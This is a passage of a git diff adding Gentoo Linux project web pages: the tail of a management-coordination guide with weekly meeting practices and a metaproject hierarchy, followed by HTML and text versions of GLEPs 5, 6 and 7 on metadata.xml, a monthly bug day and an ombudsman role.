+The tenative plan for top-level management coordination is as follows:
+</p>
+
+
+<p>
+<b>Monday full status email:</b>
+</p>
+
+
+<p>
+	Every Monday afteroon, every member of this list posts a status summary of
+	projects/efforts that they are managing, as well as any items that they
+	would like to discuss "live" on IRC in the upcoming "live" meeting.
+	If you are unable to attend the "live" IRC meeting, an email to this
+	list mentioning your inability to attend should be posted by Monday
+	afternoon or before.
+</p>
+
+
+<p>
+	The goal of the Monday afternoon email is to get every other top-level
+	manager up to speed on the status of your efforts and any efforts
+	managed by you, and to have a tenative meeting agenda in place for the
+	"live" IRC meeting.
+</p>
+
+
+<p>
+<b>Monday IRC chat:</b>
+</p>
+
+
+<p>
+	On Monday evening, we convene on irc for a "live" meeting.
+	The goal of this meeting isn't to provide status updates on our
+	projects, but to work out any outstanding hands-on issues relating to the
+	management of Gentoo Linux. These issues can include:
+</p>
+
+<ol>
+<li>Assignment of unmanaged projects</li>
+<li>Resolving critical, time-sensitive problems</li>
+<li>Trying to "fix" projects that are having trouble staying on-target</li>
+<li>Sharing new ideas about how to coordinate our efforts better</li>
+<li>Finding ways to improve our management of projects</li>
+</ol>
+
+<p>
+	The goal of this live IRC chat is to provide a regular forum to resolve
+	tricky issues that benefit from real-time, "live" discussion. Generally,
+	this meeting should last no more than one hour if possible. Generally,
+	new ideas and practices should be discussed in this live meeting, with
+	the list being used for status updates and coordinated resolution of
+	critical issues.
+</p>
+
+
+<note>
+	Inability to attend due to time zone can be addressed by posting
+	the full IRC log to gentoo-managers and allowing non-attending members
+	to post ideas, comments and follow-ups.
+</note>
+
+
+<p>
+<b>Thursday update:</b>
+</p>
+
+
+<p>
+	Every Thursday afternoon, every member of this list posts a "status
+	update" email, giving all members a quick, general update on any efforts
+	currently underway. This allows for some fairly rapid feedback for any
+	efforts that were started the previous Monday, and an opportunity to
+	recover from any efforts that have fallen off-target since the previous
+	Monday.
+</p>
+
+
+<p>
+	This email need not be exhaustive, but may be if necessary.
+</p>
+
+
+<p>
+	The goal of this update is to allow any problems with our projects to be
+	discussed and shared before the weekend, so that an adequate solution or 
+	interim solution can be found before the weekend.
+</p>
+</body>
+</section>
+<section>
+<title>Top-level metaprojects</title>
+
+<body>
+
+<p>
+Top-level projects and <b>preliminary</b> top-level managerial assignments below.
+Note that <b>sub-project</b> managers are generally not listed, but will be
+defined in time. We are starting with the top levels first, then recursing
+downwards.
+</p>
+
+<pre caption="Management heiarchy">
+	gentoo-linux:
+		Gentoo Linux
+		strategic manager: drobbins, seemant
+		operational manager: seemant
+		back-up: avenj
+		sub-projects:
+			x86-stable: Gentoo Linux x86 stable branch
+			x86-unstable: Gentoo Linux x86 unstable branch
+			amd64
+			ppc
+			alpha
+			sparc
+			hppa
+			etc.
+			
+	kernel: 
+		Kernel development
+		strategic manager: pfeifer (lolo?)
+		operational manager: pfeifer (lolo?)
+		sub-projects:
+			x86
+			amd64
+			ppc
+			alpha
+			sparc
+			hppa
+			etc.
+	
+	gentoo-alt:
+		Alternate operating system platform/special-purpose projects
+		strategic managers: drobbins, pvdabeel
+		operational manager: pvdabeel
+		sub-projects:
+			gentoo-bsd
+			gentoo-macos
+			livecd: Gentoo Linux LiveCD technology efforts
+	
+	hardened:
+		Hardened Gentoo -- efforts related to integrated security
+		techologies into Gentoo Linux.
+		strategic manager: method
+		operational manager: method
+		page: http://www.gentoo.org/proj/en/hardened/
+		sub-projects:
+			selinux
+			propolice
+			systrace
+			hardened-sources
+			grsecurity
+
+	tools:
+		Useful Gentoo scripts and tools (for user or developer use, possibly
+		Portage-related)
+		strategic manager: pvdabeel
+		operational manager: pvdabeel
+		subprojects:
+			keychain
+			dynfw
+			eperl
+	
+	devrel:
+		General development management, developer relations
+		strategic managers: seemant, drobbins
+		operational manager: avenj
+		back-up: klieber 
+		subprojects:
+			newdev: Recruiting of developers, enforcement of recruitment policy
+			devops: Day-to-day oversight of Gentoo development, commits
+		
+	releng:
+		Managing and coordinating release process
+		strategic manager: drobbins, seemant
+		operational manager: avenj
+		subprojects:
+			build: Management of stage/package building efforts on all architectures
+			install-doc: install documentation
+	
+	qa:
+		Explicit, proactive quality control efforts
+		strategic manager: drobbins 
+		operational manager: seemant
+		subprojects:
+			bugs: Overseeing bug distribution/assigment/completion and responsiveness
+			security: Manage tracking and application of security fixes to packages
+			policy-doc: policy documentation
+
+	pr:
+		Public relations efforts, contact with distrowatch.com, etc.
+		strategic manager: drobbins
+		operational manager: klieber
+		back-up: seemant 
+		subprojects:	
+			partners: Gentoo partnerships, liaison(s) to metapkg, Gentoo Games, Inc.
+			shows: Planning and organization for trade shows
+			gwn: Gentoo Weekly News
+	
+	portage:
+		Portage development, maintenance and new features implementation
+		strategic manager: drobbins
+		operational manager: carpaski
+		subprojects:
+			package-research: Research into new packaging technologies and capabilities
+			managers: carpaski, drobbins, pvdabeel
+
+	infrastructure:
+		strategic manager: klieber
+		operational manager: klieber
+		gentoo.org Mirrors, servers, email, hosting, server security
+		subprojects:	
+			mirrors: ftp, web and rsync mirrors
+			web: gentoo.org Web site design and related technology
+			doc: general documentation
+</pre>
+</body>
+</section>
+
+	</chapter>
+</guide>
+			
+
+
diff --git a/xml/htdocs/proj/en/glep/glep-0005.html b/xml/htdocs/proj/en/glep/glep-0005.html
new file mode 100644
index 00000000..24d08690
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0005.html
@@ -0,0 +1,129 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 5 -- Extending metadata.xml</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0005.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">5</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Extending metadata.xml</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.3</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0005.txt?cvsroot=gentoo">2004/11/11 21:27:31</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Heinrich Wendel &lt;sysop&#32;&#97;t&#32;heinospage.de&gt;,</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">deferred</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">02-Jul-2003</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">02-Jul-2003, 11-Nov-2004</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#abstract" id="id5" name="id5">Abstract</a></li>
+<li><a class="reference" href="#status" id="id6" name="id6">Status</a></li>
+<li><a class="reference" href="#motivation" id="id7" name="id7">Motivation</a></li>
+<li><a class="reference" href="#specification" id="id8" name="id8">Specification</a></li>
+<li><a class="reference" href="#rationale" id="id9" name="id9">Rationale</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id10" name="id10">Backwards Compatibility</a></li>
+<li><a class="reference" href="#reference-implementation" id="id11" name="id11">Reference Implementation</a></li>
+<li><a class="reference" href="#references" id="id12" name="id12">References</a></li>
+<li><a class="reference" href="#copyright" id="id13" name="id13">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="abstract" name="abstract">Abstract</a></h1>
+<p>As the latest development in Gentoo and Portage added the metadata.xml file
+to each package, which provides information about the package and it's
+maintainers, this GLEP proposes to extend this format in order to simplify
+the .ebuild format.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id6" id="status" name="status">Status</a></h1>
+<p>Timed out</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="motivation" name="motivation">Motivation</a></h1>
+<p>The metadata.xml <a class="footnote-reference" href="#id4" id="id1" name="id1">[1]</a> standard was accepted and it already contains some
+information about the packages (longdescription).</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id8" id="specification" name="specification">Specification</a></h1>
+<p>Add the tags &lt;description&gt; &lt;homepage&gt; &lt;license&gt; to the metadata.xml <a class="footnote-reference" href="#id4" id="id2" name="id2">[1]</a> and
+remove them from the .ebuild files.  All ebuilds and the emerge -S feature
+have to be changed to use the new format.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id9" id="rationale" name="rationale">Rationale</a></h1>
+<p>The three tags description, homepage and license are mostly the same in all
+versions of an ebuild, but they must be added to each version. In order to
+simplify the .ebuild format they can be moved to the new metadata.xml <a class="footnote-reference" href="#id4" id="id3" name="id3">[1]</a> file.
+This would also allow different descriptions for different languages (lang
+attribute) and there are no problems when a programm changes it license
+(restrict attribute).</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id10" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>As it will take some time to do the changes on every ebuild, portage should still
+support the old format for some time.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id11" id="reference-implementation" name="reference-implementation">Reference Implementation</a></h1>
+<p>not yet ...</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id12" id="references" name="references">References</a></h1>
+<table class="docutils footnote" frame="void" id="id4" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a name="id4">[1]</a></td><td><em>(<a class="fn-backref" href="#id1">1</a>, <a class="fn-backref" href="#id2">2</a>, <a class="fn-backref" href="#id3">3</a>)</em> Gentoo Herds Project
+[<a class="reference" href="http://www.gentoo.org/proj/en/metastructure/herds/#doc_chap2">http://www.gentoo.org/proj/en/metastructure/herds/#doc_chap2</a>]</td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id13" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0005.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0005.txt b/xml/htdocs/proj/en/glep/glep-0005.txt
new file mode 100644
index 00000000..9560a9e8
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0005.txt
@@ -0,0 +1,76 @@
+GLEP: 5
+Title: Extending metadata.xml
+Version: $Revision: 1.3 $
+Last-Modified: $Date: 2004/11/11 21:27:31 $
+Author:	Heinrich Wendel <sysop@heinospage.de>,
+Status: deferred
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 02-Jul-2003
+Post-History: 02-Jul-2003, 11-Nov-2004
+
+
+Abstract
+========
+
+As the latest development in Gentoo and Portage added the metadata.xml file
+to each package, which provides information about the package and it's
+maintainers, this GLEP proposes to extend this format in order to simplify
+the .ebuild format.
+
+
+Status
+======
+
+Timed out
+
+
+Motivation
+==========
+
+The metadata.xml [1]_ standard was accepted and it already contains some
+information about the packages (longdescription).
+
+
+Specification
+=============
+
+Add the tags <description> <homepage> <license> to the metadata.xml [1]_ and
+remove them from the .ebuild files.  All ebuilds and the emerge -S feature
+have to be changed to use the new format.
+
+
+Rationale
+=========
+
+The three tags description, homepage and license are mostly the same in all
+versions of an ebuild, but they must be added to each version. In order to
+simplify the .ebuild format they can be moved to the new metadata.xml [1]_ file.
+This would also allow different descriptions for different languages (lang
+attribute) and there are no problems when a programm changes it license
+(restrict attribute).
+
+
+Backwards Compatibility
+=======================
+
+As it will take some time to do the changes on every ebuild, portage should still
+support the old format for some time.
+
+
+Reference Implementation
+========================
+
+not yet ...
+
+
+References
+==========
+
+.. [1] Gentoo Herds Project
+   [http://www.gentoo.org/proj/en/metastructure/herds/#doc_chap2]
+
+Copyright
+=========
+
+This document has been placed in the public domain.
diff --git a/xml/htdocs/proj/en/glep/glep-0006.html b/xml/htdocs/proj/en/glep/glep-0006.html
new file mode 100644
index 00000000..89444ace
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0006.html
@@ -0,0 +1,132 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 6 -- Gentoo Linux monthly bug day</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0006.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">6</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Gentoo Linux monthly bug day</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.4</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0006.txt?cvsroot=gentoo">2003/11/10 19:03:31</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Brian Jackson &lt;iggy&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Final</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">02-Jul-2003</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">09-Jul-2003, 28-Jul-2003</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#credits" id="id5" name="id5">Credits</a></li>
+<li><a class="reference" href="#abstract" id="id6" name="id6">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id7" name="id7">Motivation</a></li>
+<li><a class="reference" href="#specification" id="id8" name="id8">Specification</a></li>
+<li><a class="reference" href="#rationale" id="id9" name="id9">Rationale</a></li>
+<li><a class="reference" href="#references" id="id10" name="id10">References</a></li>
+<li><a class="reference" href="#copyright" id="id11" name="id11">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="credits" name="credits">Credits</a></h1>
+<p>I stole this idea from liquidx who probably stole it from one of the many
+projects that do something similar.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id6" id="abstract" name="abstract">Abstract</a></h1>
+<p>Gentoo Linux should have one day a month that is devoted to clearing out bugs,
+and accepting new ebuilds from bugzilla.  This one day a month should not
+replace a developers normal bug tracking duties. This &quot;bug day&quot; should become
+something that involves the user community to make them feel closer to the
+developers.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="motivation" name="motivation">Motivation</a></h1>
+<p>I believe this would help keep the number of bugs in bugzilla at a lower level.
+This would also be a good chance for some user submitted ebuilds to be commited
+that would normally go overlooked. I think this is a good idea. We could turn
+this into a big deal for the user community</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id8" id="specification" name="specification">Specification</a></h1>
+<p>This doesn't require any coding. It just requires one day each month that
+little other than bug closing will happen. I would like to see all developers
+participate, but I know it's unlikely that we could get everybody free on the
+same day. The majority of the people that have had an opinion have
+suggested a weekend day. We will have bugday's on a Saturday. Gentoo
+developers can try to get some of the users to help them out. A prize to
+the most succesful developer was suggested. This is an idea to keep in
+mind for the future. I guess I'm going to be the one coordinating this
+until I get help, but when I do get help in coordinating this we can
+coordinate via irc if all parties are capable, or email if not. I will
+send out a notice telling the details at least one week in advance to the
+-dev, -core, and -user mailing lists.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id9" id="rationale" name="rationale">Rationale</a></h1>
+<p>Gnome <a class="footnote-reference" href="#id3" id="id1" name="id1">[1]</a> , Mozilla, Zope <a class="footnote-reference" href="#id4" id="id2" name="id2">[2]</a> , and other open source projects do something similar with good
+success.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id10" id="references" name="references">References</a></h1>
+<table class="docutils footnote" frame="void" id="id3" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id1" name="id3">[1]</a></td><td><a class="reference" href="http://developer.gnome.org/projects/bugsquad/triage/faq.html#II">http://developer.gnome.org/projects/bugsquad/triage/faq.html#II</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id4" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id2" name="id4">[2]</a></td><td><a class="reference" href="http://dev.zope.org/CVS/BugDays">http://dev.zope.org/CVS/BugDays</a></td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id11" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0006.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0006.txt b/xml/htdocs/proj/en/glep/glep-0006.txt
new file mode 100644
index 00000000..105db6bb
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0006.txt
@@ -0,0 +1,70 @@
+GLEP: 6
+Title: Gentoo Linux monthly bug day
+Version: $Revision: 1.4 $
+Last-Modified: $Date: 2003/11/10 19:03:31 $
+Author:	Brian Jackson <iggy@gentoo.org>
+Status: Final
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 02-Jul-2003
+Post-History: 09-Jul-2003, 28-Jul-2003
+
+
+Credits
+=======
+
+I stole this idea from liquidx who probably stole it from one of the many
+projects that do something similar.
+
+
+Abstract
+========
+
+Gentoo Linux should have one day a month that is devoted to clearing out bugs,
+and accepting new ebuilds from bugzilla.  This one day a month should not
+replace a developers normal bug tracking duties. This "bug day" should become
+something that involves the user community to make them feel closer to the 
+developers.
+
+Motivation
+==========
+
+I believe this would help keep the number of bugs in bugzilla at a lower level.
+This would also be a good chance for some user submitted ebuilds to be commited
+that would normally go overlooked. I think this is a good idea. We could turn
+this into a big deal for the user community
+
+Specification
+=============
+
+This doesn't require any coding. It just requires one day each month that 
+little other than bug closing will happen. I would like to see all developers
+participate, but I know it's unlikely that we could get everybody free on the 
+same day. The majority of the people that have had an opinion have 
+suggested a weekend day. We will have bugday's on a Saturday. Gentoo 
+developers can try to get some of the users to help them out. A prize to 
+the most succesful developer was suggested. This is an idea to keep in 
+mind for the future. I guess I'm going to be the one coordinating this 
+until I get help, but when I do get help in coordinating this we can 
+coordinate via irc if all parties are capable, or email if not. I will 
+send out a notice telling the details at least one week in advance to the
+-dev, -core, and -user mailing lists.
+
+Rationale
+=========
+
+Gnome [1]_ , Mozilla, Zope [2]_ , and other open source projects do something similar with good 
+success.
+
+References
+==========
+
+.. [1] http://developer.gnome.org/projects/bugsquad/triage/faq.html#II
+
+.. [2] http://dev.zope.org/CVS/BugDays
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
diff --git a/xml/htdocs/proj/en/glep/glep-0007.html b/xml/htdocs/proj/en/glep/glep-0007.html
new file mode 100644
index 00000000..f00ceb25
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0007.html
@@ -0,0 +1,131 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 7 -- New ombudsman position</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0007.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">7</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">New ombudsman position</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.4</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0007.txt?cvsroot=gentoo">2003/11/10 19:03:31</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Grant Goodyear &lt;g2boojum&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Final</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">6-Jul-2003, 28-Jul-2003</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body"></td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#abstract" id="id3" name="id3">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id4" name="id4">Motivation</a></li>
+<li><a class="reference" href="#specification" id="id5" name="id5">Specification</a></li>
+<li><a class="reference" href="#rationale" id="id6" name="id6">Rationale</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id7" name="id7">Backwards Compatibility</a></li>
+<li><a class="reference" href="#references" id="id8" name="id8">References</a></li>
+<li><a class="reference" href="#copyright" id="id9" name="id9">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id3" id="abstract" name="abstract">Abstract</a></h1>
+<p>This GLEP proposes that we extend the current proposed management
+structure by adding a position of Ombudsman that would fall under
+devrel, qa, and pr.  An ombudsman is one who has been assigned to
+<em>impartially</em> investigate complaints and settle disputes.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id4" id="motivation" name="motivation">Motivation</a></h1>
+<p>Given the impressive numbers of both Gentoo developers and users, it is
+inevitable that there will be occasional clashes between developers and
+managers, developers and developers, and developers and users.  Right
+now there is no mechanism to prevent such disputes from escalating out
+of control.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="specification" name="specification">Specification</a></h1>
+<p>One developer (and one backup) will be appointed as ombudsmen.  This
+positions should be far from a full-time job.  It would appear as part
+of the devrel, qa, and pr projects (inasmuch as qa and pr both involve
+developer-user relations).  Infrastructure requirements are an
+ombudsman.gentoo.org web page and a <a class="reference" href="mailto:ombudsman&#64;gentoo.org">ombudsman&#64;gentoo.org</a> e-mail
+alias.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id6" id="rationale" name="rationale">Rationale</a></h1>
+<p>One traditional method (circa early 1800s in Sweden, apparently <a class="footnote-reference" href="#rit" id="id1" name="id1">[1]</a>)
+for managing disputes is to have an impartial individual whose job it
+is to investigate complaints and mediate settlements.  A quick search
+on Google <a class="footnote-reference" href="#google" id="id2" name="id2">[2]</a> reveals numerous government agencies, universities,
+and industries that employ official ombudsmen.  The key requirement for
+an ombudsman to be effective is support from management and trust from
+users and developers -- the ombudsmen must be considered by all to be
+reasonably impartial.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>No conflicts.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id8" id="references" name="references">References</a></h1>
+<table class="docutils footnote" frame="void" id="rit" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id1" name="rit">[1]</a></td><td><a class="reference" href="http://www.rit.edu/~022www/defhis.shtml">http://www.rit.edu/~022www/defhis.shtml</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="google" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id2" name="google">[2]</a></td><td><a class="reference" href="http://www.google.com">http://www.google.com</a></td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id9" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0007.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0007.txt b/xml/htdocs/proj/en/glep/glep-0007.txt
new file mode 100644
index 00000000..9a3eb563
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0007.txt
@@ -0,0 +1,72 @@
+GLEP: 7
+Title: New ombudsman position
+Version: $Revision: 1.4 $
+Last-Modified: $Date: 2003/11/10 19:03:31 $
+Author:	Grant Goodyear <g2boojum@gentoo.org>
+Status: Final
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 6-Jul-2003, 28-Jul-2003
+Post-History: 
+
+
+Abstract
+========
+
+This GLEP proposes that we extend the current proposed management
+structure by adding a position of Ombudsman that would fall under
+devrel, qa, and pr.  An ombudsman is one who has been assigned to 
+*impartially* investigate complaints and settle disputes.
+
+Motivation
+==========
+
+Given the impressive numbers of both Gentoo developers and users, it is
+inevitable that there will be occasional clashes between developers and
+managers, developers and developers, and developers and users.  Right
+now there is no mechanism to prevent such disputes from escalating out
+of control.
+
+Specification
+=============
+
+One developer (and one backup) will be appointed as ombudsmen.  This
+positions should be far from a full-time job.  It would appear as part
+of the devrel, qa, and pr projects (inasmuch as qa and pr both involve
+developer-user relations).  Infrastructure requirements are an
+ombudsman.gentoo.org web page and a ombudsman@gentoo.org e-mail 
+alias. 
+
+Rationale
